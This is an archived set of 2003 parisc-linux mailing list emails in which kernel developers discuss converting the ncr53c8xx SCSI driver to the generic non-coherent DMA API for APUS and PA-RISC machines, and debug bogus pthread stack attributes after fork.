NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:27 +0000 (UTC)
Cc: Geert Uytterhoeven <geert@linux-m68k.org>,
	Matthew Wilcox <willy@debian.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	parisc-linux@parisc-linux.org, linux-apus-devel@lists.sourceforge.net
To: Roman Zippel <zippel@linux-m68k.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 29 07:33:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8A6BE4840
	for <parisc-linux@parisc-linux.org>; Mon, 29 Sep 2003 07:33:19 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A3y9N-0003Pc-9D; Mon, 29 Sep 2003 14:33:17 +0100
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0309291434260.17812-100000@serv>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19670

On Mon, Sep 29, 2003 at 02:53:16PM +0200, Roman Zippel wrote:
> Hi,
> 
> On Mon, 29 Sep 2003, Geert Uytterhoeven wrote:
> 
> > > Are there any Amiga cards that are 720 based?
> > 
> > I don't know for sure. Probably not (cfr. above).
> 
> The ppc boards have a 770. In the APUS tree we currently have a modified 
> ncr53c8xx driver, that sort of seems to work. The biggest problem seems to 
> be the incoherent memory interface.

... Ah ;-)  So where do I find the APUS tree?  From digging around on
the web (man, there's a lot of broken links in the APUS faq ...), it
seems to be its own sourceforge project that hasn't switched to working
on 2.6 yet, is this correct?

Now that ncr53c8xx is non-PCI only, it should cause the absolute minimum
of wailing & gnashing of teeth to convert it to use the non-coherent
dma device API.  It would benefit PA-RISC too as we have two models
(735 and 755) that have NCR720 chips and a non-coherent architecture.
Right now, they use the 53c700 driver, but it'd be better to use the
ncr53c8xx driver, of course.

Are any APUS people interested in working on this?  

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: NCR53c720
Date: Mon, 29 Sep 2003 15:45:41 +0200 (MEST)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.21.0309291544190.7432-100000@vervain.sonytel.be>
References: <20030929133317.GP24824@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622827 31765 80.91.229.3 (22 Nov 2014 02:20:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:27 +0000 (UTC)
Cc: Roman Zippel <zippel@linux-m68k.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	parisc-linux@parisc-linux.org,
	Linux/PPC on APUS development <linux-apus-devel@lists.sourceforge.net>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 29 07:46:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from witte.sonytel.be (mail2.sonytel.be [195.0.45.172])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9503B486E
	for <parisc-linux@parisc-linux.org>; Mon, 29 Sep 2003 07:46:48 -0600 (MDT)
Original-Received: from vervain.sonytel.be (localhost [127.0.0.1])
	by witte.sonytel.be (8.12.10/8.12.10) with ESMTP id h8TDjflV028842;
	Mon, 29 Sep 2003 15:45:41 +0200 (MEST)
In-Reply-To: <20030929133317.GP24824@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19671

On Mon, 29 Sep 2003, Matthew Wilcox wrote:
> On Mon, Sep 29, 2003 at 02:53:16PM +0200, Roman Zippel wrote:
> > The ppc boards have a 770. In the APUS tree we currently have a modified 
> > ncr53c8xx driver, that sort of seems to work. The biggest problem seems to 
> > be the incoherent memory interface.
> 
> ... Ah ;-)  So where do I find the APUS tree?  From digging around on
> the web (man, there's a lot of broken links in the APUS faq ...), it
> seems to be its own sourceforge project that hasn't switched to working
> on 2.6 yet, is this correct?

The APUS tree is indeed at SourceForge. Most recent version (not counting
Roman's hard disk :-) is 2.4.22.

Gr{oetje,eeting}s,

						Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
							    -- Linus Torvalds



From - Thu Nov 08 21:29:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread attributes and stack positions (gcc related?)
Date: Mon, 29 Sep 2003 11:10:38 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <20030929151038.GC15180@systemhalted>
References: <20030928174226.GA3040@systemhalted> <1064771620.10778.5.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622827 31767 80.91.229.3 (22 Nov 2014 02:20:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:27 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Randolph Chung <tausq@debian.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 29 09:13:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 056AB4840
	for <parisc-linux@lists.parisc-linux.org>; Mon, 29 Sep 2003 09:13:59 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A3zfa-00056l-00; Mon, 29 Sep 2003 11:10:38 -0400
Content-Disposition: inline
In-Reply-To: <1064771620.10778.5.camel@mulgrave>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (94% Sync Ratio [=========.])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19672

On Sun, Sep 28, 2003 at 12:53:38PM -0500, James Bottomley wrote:
> On Sun, 2003-09-28 at 12:42, Carlos O'Donell wrote:
> > The variable is definately on the process stack. The thread's stack 
> > address seems to be inside the libraries 'writable' space and the stack 
> > size is wrong (or uninitialized). Perhaps I should just be looking for 
> > arch-dependant init code that we might be missing.
> 
> This, I believe to be correct: there's only one real stack (i.e. the
> thing on x86 that grows down from top of memory) and only one thread can
> have it.  The rest of the thread stacks are mmapped at fixed sizes with
> a guard area to prevent them growing too far.  mmapped memory comes out
> of the same pool that shared library memory comes from, so you should
> correctly see the mappings interleave (depending on the load and thread
> start order).

I agree, it seems though that after "fork" the values returned by 
"pthread_getattr_np (pthread_self (), &a);" are bogus. While if you call
pthread_create(...) and then the previous line from within the newly
created thread the values are initialized properly. A mistake might
exist with symbol versioning by which we are not calling libpthread's
overloaded thread manager "fork()" and continuing on with the normal syscall.

I think this seems to be a question of expected behaviour. I'll pass
this onto the libc-alpha list.

c.



From - Thu Nov 08 21:29:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Roman Zippel <zippel@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: NCR53c720
Date: Mon, 29 Sep 2003 18:24:14 +0200 (CEST)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0309291818060.17548-100000@serv>
References: <Pine.GSO.4.21.0309291116250.7432-100000@vervain.sonytel.be>
 <Pine.LNX.4.44.0309291434260.17812-100000@serv>
 <20030929133317.GP24824@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622828 31770 80.91.229.3 (22 Nov 2014 02:20:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:28 +0000 (UTC)
Cc: Geert Uytterhoeven <geert@linux-m68k.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	<parisc-linux@parisc-linux.org>,
	<linux-apus-devel@lists.sourceforge.net>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 29 10:24:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from scrub.xs4all.nl (scrub.xs4all.nl [194.109.195.176])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9B5B04845
	for <parisc-linux@parisc-linux.org>; Mon, 29 Sep 2003 10:24:31 -0600 (MDT)
Original-Received: from roman (helo=localhost)
	by scrub.xs4all.nl with local-esmtp (Exim 3.35 #1 (Debian))
	id 1A40op-0004us-00; Mon, 29 Sep 2003 18:24:15 +0200
X-X-Sender: roman@serv
In-Reply-To: <20030929133317.GP24824@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19673

Hi,

On Mon, 29 Sep 2003, Matthew Wilcox wrote:

> ... Ah ;-)  So where do I find the APUS tree?  From digging around on
> the web (man, there's a lot of broken links in the APUS faq ...), it

It's also quite old... :)

> seems to be its own sourceforge project that hasn't switched to working
> on 2.6 yet, is this correct?

Yes. My 2.6 tree currently dies at the first exec.

> Now that ncr53c8xx is non-PCI only, it should cause the absolute minimum
> of wailing & gnashing of teeth to convert it to use the non-coherent
> dma device API.

Um, which one is the current right dma device API?

bye, Roman



From - Thu Nov 08 21:29:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: NCR53c720
Date: Mon, 29 Sep 2003 17:27:49 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20030929162749.GR24824@parcelfarce.linux.theplanet.co.uk>
References: <Pine.GSO.4.21.0309291116250.7432-100000@vervain.sonytel.be> <Pine.LNX.4.44.0309291434260.17812-100000@serv> <20030929133317.GP24824@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.44.0309291818060.17548-100000@serv>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622828 31773 80.91.229.3 (22 Nov 2014 02:20:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:28 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	parisc-linux@parisc-linux.org, linux-apus-devel@lists.sourceforge.net
To: Roman Zippel <zippel@linux-m68k.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 29 10:27:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5CBE5489B
	for <parisc-linux@parisc-linux.org>; Mon, 29 Sep 2003 10:27:50 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A40sH-0002fS-8X; Mon, 29 Sep 2003 17:27:49 +0100
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0309291818060.17548-100000@serv>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19674

On Mon, Sep 29, 2003 at 06:24:14PM +0200, Roman Zippel wrote:
> > Now that ncr53c8xx is non-PCI only, it should cause the absolute minimum
> > of wailing & gnashing of teeth to convert it to use the non-coherent
> > dma device API.
> 
> Um, which one is the current right dma device API?

The one in Documentation/DMA-API.txt.  It looks like PowerPC hasn't got
an implementation of this yet -- is APUS the only non-coherent PowerPC
subport?

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread attributes and stack positions (gcc related?)
Date: Mon, 29 Sep 2003 15:02:51 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <20030929190251.GB21914@systemhalted>
References: <20030928174226.GA3040@systemhalted> <1064771620.10778.5.camel@mulgrave> <20030929151038.GC15180@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622828 31778 80.91.229.3 (22 Nov 2014 02:20:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:28 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Randolph Chung <tausq@debian.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 29 13:05:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 015664840
	for <parisc-linux@lists.parisc-linux.org>; Mon, 29 Sep 2003 13:05:38 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A43IJ-0005iM-00; Mon, 29 Sep 2003 15:02:51 -0400
Content-Disposition: inline
In-Reply-To: <20030929151038.GC15180@systemhalted>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19675

On Mon, Sep 29, 2003 at 11:10:38AM -0400, Carlos O'Donell wrote:
> I agree, it seems though that after "fork" the values returned by 
> "pthread_getattr_np (pthread_self (), &a);" are bogus. While if you call
> pthread_create(...) and then the previous line from within the newly
> created thread the values are initialized properly. A mistake might
> exist with symbol versioning by which we are not calling libpthread's
> overloaded thread manager "fork()" and continuing on with the normal syscall.

Looking closer there is a __libc_maybe_call2 that happens during a fork
that is called and libpthread is linked. The maybe call tries to see if
pthread_fork is available, if it doesn't see a valid symbol it just
calls ARCH_FORK(). This looks like a suspect. So do a number of the
#ifdef's in pthread.c

c.


From - Thu Nov 08 21:29:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: NCR53c720
Date: Mon, 29 Sep 2003 14:55:48 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20030929205548.GA13226@dsl2.external.hp.com>
References: <Pine.GSO.4.21.0309291116250.7432-100000@vervain.sonytel.be> <Pine.LNX.4.44.0309291434260.17812-100000@serv> <20030929133317.GP24824@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.44.0309291818060.17548-100000@serv> <20030929162749.GR24824@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622829 31781 80.91.229.3 (22 Nov 2014 02:20:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:29 +0000 (UTC)
Cc: Roman Zippel <zippel@linux-m68k.org>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	parisc-linux@parisc-linux.org, linux-apus-devel@lists.sourceforge.net
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 29 14:55:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id F07084840; Mon, 29 Sep 2003 14:55:48 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030929162749.GR24824@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19676

On Mon, Sep 29, 2003 at 05:27:49PM +0100, Matthew Wilcox wrote:
> > Um, which one is the current right dma device API?
> 
> The one in Documentation/DMA-API.txt.

Matthew, which version of the source tree?
2.4.22 and 2.6.x versions of this file are not identical.

grundler@gsyprf3:/usr/src$ diff linux-2.?/Documentation/DMA-mapping.txt | wc -l
   117
grundler@gsyprf3:/usr/src$ wc -l linux-2.?/Documentation/DMA-mapping.txt
    798 linux-2.4/Documentation/DMA-mapping.txt
    828 linux-2.5/Documentation/DMA-mapping.txt
   1626 total

thanks,
grant


From - Thu Nov 08 21:29:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: NCR53c720
Date: 29 Sep 2003 16:00:10 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <1064869488.1782.240.camel@mulgrave>
References: <Pine.GSO.4.21.0309291116250.7432-100000@vervain.sonytel.be>
	<Pine.LNX.4.44.0309291434260.17812-100000@serv>
	<20030929133317.GP24824@parcelfarce.linux.theplanet.co.uk>
	<Pine.LNX.4.44.0309291818060.17548-100000@serv>
	<20030929162749.GR24824@parcelfarce.linux.theplanet.co.uk> 
	<20030929205548.GA13226@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622829 31785 80.91.229.3 (22 Nov 2014 02:20:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:29 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Roman Zippel <zippel@linux-m68k.org>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	parisc-linux@parisc-linux.org, linux-apus-devel@lists.sourceforge.net
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 29 15:27:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 7AC47487B; Mon, 29 Sep 2003 15:27:05 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by cuprel1.hp.com (Postfix) with ESMTP
	id A68A212C0; Mon, 29 Sep 2003 14:27:03 -0700 (PDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h8TL4lq32392;
	Mon, 29 Sep 2003 17:04:47 -0400
In-Reply-To: <20030929205548.GA13226@dsl2.external.hp.com>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19677

On Mon, 2003-09-29 at 15:55, Grant Grundler wrote:
> On Mon, Sep 29, 2003 at 05:27:49PM +0100, Matthew Wilcox wrote:
> > > Um, which one is the current right dma device API?
> > 
> > The one in Documentation/DMA-API.txt.
> 
> Matthew, which version of the source tree?
> 2.4.22 and 2.6.x versions of this file are not identical.
> 
> grundler@gsyprf3:/usr/src$ diff linux-2.?/Documentation/DMA-mapping.txt | wc -l
>    117
> grundler@gsyprf3:/usr/src$ wc -l linux-2.?/Documentation/DMA-mapping.txt
>     798 linux-2.4/Documentation/DMA-mapping.txt
>     828 linux-2.5/Documentation/DMA-mapping.txt
>    1626 total

DMA-mapping.txt is only the pci_ DMA API.  The ncr53c8xx doesn't use
that any more.  It only uses the generic DMA API, which is documented in
DMA-API.txt like willy said, and is only in 2.6 (not 2.4).

James




From - Thu Nov 08 21:29:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rene Brothuhn <rene.br@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: NCR53c720
Date: Mon, 29 Sep 2003 23:25:01 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <20030929212501.GA2631@ipgraf11.informatik.fh-schmalkalden.de>
References: <Pine.GSO.4.21.0309291116250.7432-100000@vervain.sonytel.be> <Pine.LNX.4.44.0309291434260.17812-100000@serv> <20030929133317.GP24824@parcelfarce.linux.theplanet.co.uk>
Reply-To: rene.br@web.de
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; format=flowed; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622829 31787 80.91.229.3 (22 Nov 2014 02:20:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:29 +0000 (UTC)
Cc: Roman Zippel <zippel@linux-m68k.org>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Matthew Wilcox <willy@debian.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	parisc-linux@parisc-linux.org, linux-apus-devel@lists.sourceforge.net
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 29 15:27:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
